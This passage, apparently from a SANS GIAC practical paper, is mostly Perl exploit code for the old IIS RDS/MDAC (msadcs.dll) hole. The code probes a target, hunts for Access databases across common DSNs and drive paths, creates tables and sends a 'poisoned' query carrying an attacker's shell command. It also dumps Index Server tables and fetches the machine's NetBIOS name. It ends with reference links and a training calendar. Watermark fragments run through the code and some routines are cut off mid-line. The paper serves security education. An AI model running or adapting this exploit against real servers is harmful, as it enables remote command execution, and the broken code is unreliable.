             print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .

                                                                                     rig
                  $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;
             }

                                                                                 ull
           # -------------------------------------------------------------------------

                                                                                  f
           sub verbose {

                                                                               ns
             # print if verbose flag is on, otherwise, just return
                 Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
             my ($in) = @_;

                                                                         re
             if ($verbose) {
               print STDOUT "\n$in\n";
               };

                                                                     or
             return 0;

                                                                  th
             };

                                                              Au
           # -------------------------------------------------------------------------

           sub   create_table {
                                                           2,
             #   To run a valid SQL query, we need a valid database and a
             #   valid table within it. Here we try to create a useless table
                                                       00

             #   so that we have some table we can run a query against
                                                    -2

             if ($use_VbBusObj) {
               return SUCCESS;
                                                00

               # If it exists at all on the server, we already know a table
               };
                                             20

             my ($in)=@_;
                                          te

             # Just as in the try_btcustmr routine, we create an RDS request
             my $request_to_issue = create_rds_request("create_table", $in, "");
                                       tu

             # Just as in the try_btcustmr routine, we calculate the length of the POST
                                     sti

             $rds_request_length = length( $request_to_issue ) - 28;
             $content_length = 206 + length("$rds_request_length") + $rds_request_length;
                                  In

             # Just as in the try_btcustmr routine, we prepend good HTML headers to the request
             my $http_request = make_http_wrapper() . $request_to_issue;
             # Send it to the target server
                               NS

             my @results = send_data_to_target($http_request);
             # And check for success
                           SA

             if (check_for_success(@results)) {
               return $SUCCESS;
               };
                        ©

             my $errors = odbc_error(@results);
             verbose($errors);
             if ($errors =~ /Table 'AZZ' already exists/) {
               return $SUCCESS;
               };
             return $FAILURE;
             };Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

           # -------------------------------------------------------------------------

           sub try_common_dsns {
             # Here we cycle through a lst of common DSN's, trying to find a live one

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
# We check each possibility to see if it's a valid Access database
             # If it is, we try to create a (dummy) table in it.
             # If we ever succeed, we run the (poisoned) query

             foreach $dSn (@dsns) {
               print "."; # Just printing something for a progress indicator

                                                                                           s.
                # For each common database name, we try and see if it's a valid Access DB

                                                                                        ht
                if (!is_access("DSN=$dSn")) {
                  next;

                                                                                    rig
                  # If we have a valid database, but it isn't Access, it's of no help
                  };

                                                                                ull
                # OK, we have a valid database name. Can we create a dummy table so we

                                                                                 f
                # can run a query?
                if (create_table("DSN=$dSn")) {

                                                                              ns
               Key# fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                           tai
                     We have a table. Now let's run a query (WITH an encapsulated shell   comand)
                 if (run_query("DSN=$dSn")) {

                                                                        re
                   print "$dSn: Success!\n";
                   exit;
                   };

                                                                    or
                 };

                                                                 th
               };
               print "\n";
             };                                              Au
           # -------------------------------------------------------------------------
                                                          2,

           sub is_access {
                                                      00

             # Given a (possible) DSN name, we try to see if we can get to it
                                                   -2

             # and, if so, if it's an Access database

             if ($use_VbBusObj) {
                                                00

               return SUCCESS;
               # If it exists at all on the server, we already know it's Access
                                            20

               };
                                         te

             my ($in) = @_;
             # Just as in the try_btcustmr routine, we create an RDS request
                                      tu

             my $request_to_issue = create_rds_request("access", $in, "");
                                    sti

             # Just as in the try_btcustmr routine, we calculate the length of the POST
             $rds_request_length = length( $request_to_issue ) - 28;
                                 In

             $content_length = 206 + length("$rds_request_length") + $rds_request_length;
             # Just as in the try_btcustmr routine, we prepend good HTML headers to the request
             my $http_request = make_http_wrapper() . $request_to_issue;
                               NS

             # Send it to the target server
             my @results = send_data_to_target($http_request);
                           SA

             # And check for success
             my $temp = odbc_error(@results);
             verbose($temp);
                        ©

             if ($temp =~ /Microsoft Access/) {
               return $SUCCESS;
               };
             return $FAILURE;
             };

           # -------------------------------------------------------------------------
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
           sub run_query {
             my ($in) = @_;

             # Just as in the try_btcustmr routine, we create an RDS request

© SANS Institute 2000 - 2002            As part of GIAC practical repository.              Author retains full rights.
# HOWEVER, this RDS request encapsulates some arbitrary command
             # of the attacker's
             my $request_to_issue = create_rds_request("query_table", $in, "");

             # Just as in the try_btcustmr routine, we calculate the length of the POST
             $rds_request_length = length( $request_to_issue ) - 28;
             $content_length = 206 + length("$rds_request_length") + $rds_request_length;

                                                                                            s.
             # Just as in the try_btcustmr routine, we prepend good HTML headers to the request

                                                                                         ht
             my $http_request = make_http_wrapper() . $request_to_issue;
             # Send it to the target server

                                                                                     rig
             my @results = send_data_to_target($http_request);
             # And check for success

                                                                                 ull
             if (check_for_success(@results)) {
               return $SUCCESS;

                                                                                  f
               };
             my $temp = odbc_error(@results);

                                                                               ns
             verbose($temp);
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
             return $FAILURE;
             }

                                                                         re
           # -------------------------------------------------------------------------

                                                                     or
           sub   known_mdb {

                                                                  th
             #   Here we cycle through a lst of common mdb's, trying to find a live one
             #   We try to create a table in each possibility
             #                                                Au
                 If we ever succeed, we run the (poisoned) query

             my   @drives = ("c","d","e","f","g");
                                                           2,
             my   @dirs = ("winnt","winnt35","winnt351","win","windows");
             my   $dir, $drive, $mdb;
                                                       00

             my   $drv = "driver={Microsoft Access Driver (*.mdb)}; dbq=";
                                                    -2

             # We try common mdb's in %systemroot%
             foreach $drive (@drives) {
                                                00

               foreach $dir (@sysdirs) {
                 foreach $mdb (@sysmdbs) {
                                             20

                   print "."; # print a progress indicator
                   # Try to create a dummy table
                                          te

                   if (create_table($drv.$drive.":\\".$dir.$mdb)) {
                      # Try and run the query (containing the attacker's command of choice)
                                       tu

                     if (run_query($drv . $drive . ":\\" . $dir . $mdb)) {
                                     sti

                        print "$mdb: Success!\n";
                        exit;
                                  In

                        };
                     };
                   };
                               NS

                 };
               };
                           SA

             # We try common mdb's not in %systemroot%
             foreach $drive (@drives) {
                        ©

               foreach $mdb (@mdbs) {
                 print "."; # print a progress indicator
                 # Try to create a dummy table
                 if (create_table($drv.$drive.":".$mdb)) {
                   # Try and run the query (containing the attacker's command of choice)
                   if (run_query($drv.$drive.":".$mdb)) {
                     print "$mdb:
              Key fingerprint      Success!\n";
                              = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
                     exit;
                     };
                   };
                 };
               };

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
};

           # -------------------------------------------------------------------------

           sub dump_index_server_tables {
             print "\nAttempting to dump Index Server tables...\n";

                                                                                          s.
             print " NOTE: Sometimes this takes a while, other times it stalls\n\n";

                                                                                       ht
             # Just as in the try_btcustmr routine, we create an RDS request

                                                                                   rig
             my $request_to_issue = create_rds_request("dump_index","","");

                                                                               ull
             # Just as in the try_btcustmr routine, we calculate the length of the POST
             $rds_request_length = length( $request_to_issue ) - 28;

                                                                                f
             $content_length = 206 + length("$rds_request_length") + $rds_request_length;
             # Just as in the try_btcustmr routine, we prepend good HTML headers to the request

                                                                             ns
             my $http_request = make_http_wrapper() . $request_to_issue;
              Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                          tai
             my @results = send_data_to_target($http_request);

                                                                       re
             if (check_for_success(@results)) {
               # If it succeeded, we reformat into a more human-friendly format
               my $max = @results;

                                                                   or
               my $c;

                                                                th
               my %d;
               for ($c=19; $c
sub handle_unusual_results {
             # This merely prints some additional info for a few
             # potentially confusing errors

             my (@in) =@_;
             my $error = odbc_error(@in);

                                                                                            s.
             if ($error =~/ADO could not find the specified provider/) {

                                                                                         ht
               print "\nServer returned an ADO miscofiguration message\nAborting.\n";
               exit;

                                                                                     rig
               }
             if ($error =~ /A Handler is required/) {

                                                                                 ull
               print "\nServer has custom handler filters (they most likely are patched)\n";
               exit;

                                                                                  f
               }
             if ($error =~ /specified Handler has denied Access/) {

                                                                               ns
               print "\nADO handlers denied access (they most likely are patched)\n";
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
               exit;
               }

                                                                         re
             if ($error =~ /server has denied access/) {
               print "\nADO handlers denied access (they most likely are patched)\n";
               exit;

                                                                     or
               }

                                                                  th
             }

                                                              Au
           # -------------------------------------------------------------------------

           sub check_for_possible_vulnerability {
                                                           2,
             # This routine makes a preliminary connection to determine
             # if the target is in fact running IIS and RDS
                                                       00
                                                    -2

             my @results = send_data_to_target("GET /msdac/msdacs.dll HTTP/1.0\n\n");
             my $base = content_start(@results);
             if ($results[$base] =~ /Content-Type: application\/x-varg/) {
                                                00

               return $SUCCESS;
               };
                                             20

             # No, they aren't.
                                          te

             my @si = grep("Server: ",@results);
             if ($s[0]!~/IIS/) {
                                       tu

               print "Doh! They're not running IIS.\n$s[0]\n"
                                     sti

               }
             else {
                                  In

               print "/msdac/msdacs.dll was not found.\n";
               }
             return $FAILURE;
                               NS

             }
                           SA

           # -------------------------------------------------------------------------

           sub   show_netbios_name {
                        ©

             #   Not really a part of the rest of the exploit, this merely uses
             #   the same technique of creating RDS requests to get the machine to
             #   return its netbios name

             my $msdac=
Content-Type: multipart/mixed; boundary=!ARBITRARY!TEXT!STRING!; num-args=0

           --!ARBITRARY!TEXT!STRING!--
           EOT
           ;
             $msdac =~ s/\n/\r\n/g;
             print "Trying to get machine name";

                                                                                            s.
             my @results = send_data_to_target($msdac);

                                                                                         ht
             my $base = content_start(@results);
             $results[$base+6] =~ s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~.,?]//g;

                                                                                     rig
             $machine_name = $results[$base+6];
             if ($machine_name eq "") {

                                                                                 ull
               print "Failed to get machine name\n";
               }

                                                                                  f
             else {
               print "Machine name: $machine_name\n";

                                                                               ns
               };
               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

                                                                            tai
             };

                                                                         re
           # -------------------------------------------------------------------------
           # -------------------------------------------------------------------------

                                                                     or
                                                                  th
           Additional Information                             Au
           In addition to the code sites, discussions, and official Microsoft advisories above, the
                                                           2,
           following links provide additional information:
                                                       00

           Internet Security Systems Discussion:
                                                    -2

           http://xforce.iss.net/alerts/advise32.php
                                                00

           Bugtraq post:
                                             20

           http://archives.neohapsis.com/archives/bugtraq/1999-q3/0183.html
                                          te

           Microsoft RDS page:
                                       tu

           http://www.microsoft.com/data/ado/rds/
                                     sti

           Microsoft IIS Security Checklist:
                                  In

           http://www.microsoft.com/security/products/iis/CheckList.asp
                               NS
                           SA
                        ©

               Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2000 - 2002             As part of GIAC practical repository.              Author retains full rights.
Last Updated: December 11th, 2020

      Upcoming Training

SANS Cyber Defense Initiative 2020                 ,                       Dec 14, 2020 - Dec 19, 2020   CyberCon

OnDemand Home (Full) Recording                     Riverside, RI           Jan 04, 2021 - Jan 09, 2021

SANS Security East 2021                            ,                       Jan 11, 2021 - Jan 16, 2021   CyberCon

SANS Security Fundamentals 2021                    , Netherlands           Jan 18, 2021 - Jan 29, 2021   CyberCon

Cyber Threat Intelligence Summit & Training 2021   Virtual - US Eastern,   Jan 21, 2021 - Feb 01, 2021   CyberCon

SANS Amsterdam January 2021                        , Netherlands           Jan 25, 2021 - Jan 30, 2021   CyberCon

SANS Cyber Security West: Feb 2021                 ,                       Feb 01, 2021 - Feb 06, 2021   CyberCon

SANS South by Southeast Asia 2021                  , Singapore             Feb 01, 2021 - Feb 06, 2021   CyberCon

SANS Pen Test & Offensive Training 2021            ,                       Feb 08, 2021 - Feb 13, 2021   CyberCon

SANS London February 2021                          , United Kingdom        Feb 22, 2021 - Feb 27, 2021   CyberCon

SANS Cyber Security East: Feb 2021                 ,                       Feb 22, 2021 - Feb 27, 2021   CyberCon

SANS Cyber Security East: March 2021               ,                       Mar 01, 2021 - Mar 06, 2021   CyberCon

SANS Secure Japan 2021                             , Japan                 Mar 01, 2021 - Mar 13, 2021   CyberCon

SANS Secure Asia Pacific 2021                      , Singapore             Mar 08, 2021 - Mar 20, 2021   CyberCon

SANS Secure Asia Pacific 2021                      Singapore, Singapore    Mar 08, 2021 - Mar 20, 2021   Live Event

SANS Cyber Security West: March 2021               ,                       Mar 15, 2021 - Mar 20, 2021   CyberCon

SANS Riyadh March 2021                             , Kingdom Of Saudi      Mar 20, 2021 - Apr 01, 2021   CyberCon
                                                   Arabia
SANS Secure Australia 2021 Live Online             , Australia             Mar 22, 2021 - Mar 27, 2021   CyberCon

SANS 2021                                          ,                       Mar 22, 2021 - Mar 27, 2021   CyberCon

SANS Secure Australia 2021                         Canberra, Australia     Mar 22, 2021 - Mar 27, 2021   Live Event

SANS Cyber Security Mountain: April 2021           ,                       Apr 05, 2021 - Apr 10, 2021   CyberCon

SANS London April 2021                             , United Kingdom        Apr 12, 2021 - Apr 17, 2021   CyberCon

SANS Autumn Australia 2021 - Live Online           , Australia             Apr 12, 2021 - Apr 17, 2021   CyberCon

SANS Autumn Australia 2021                         Sydney, Australia       Apr 12, 2021 - Apr 17, 2021   Live Event

SANS Pen Test Austin: Virtual Edition 2021         ,                       Apr 19, 2021 - Apr 24, 2021   CyberCon

SANS Secure India 2021                             , Singapore             Apr 19, 2021 - Apr 24, 2021   CyberCon

SANS Baltimore Spring: Virtual Edition 2021        ,                       Apr 26, 2021 - May 01, 2021   CyberCon

SANS Cyber Security Central: May 2021              ,                       May 03, 2021 - May 08, 2021   CyberCon

SANS Security West 2021                            ,                       May 10, 2021 - May 15, 2021   CyberCon

SANS Amsterdam May 2021                            , Netherlands           May 17, 2021 - May 22, 2021   CyberCon

SANS Stockholm May 2021                            , Sweden                May 31, 2021 - Jun 05, 2021   CyberCon
You can also read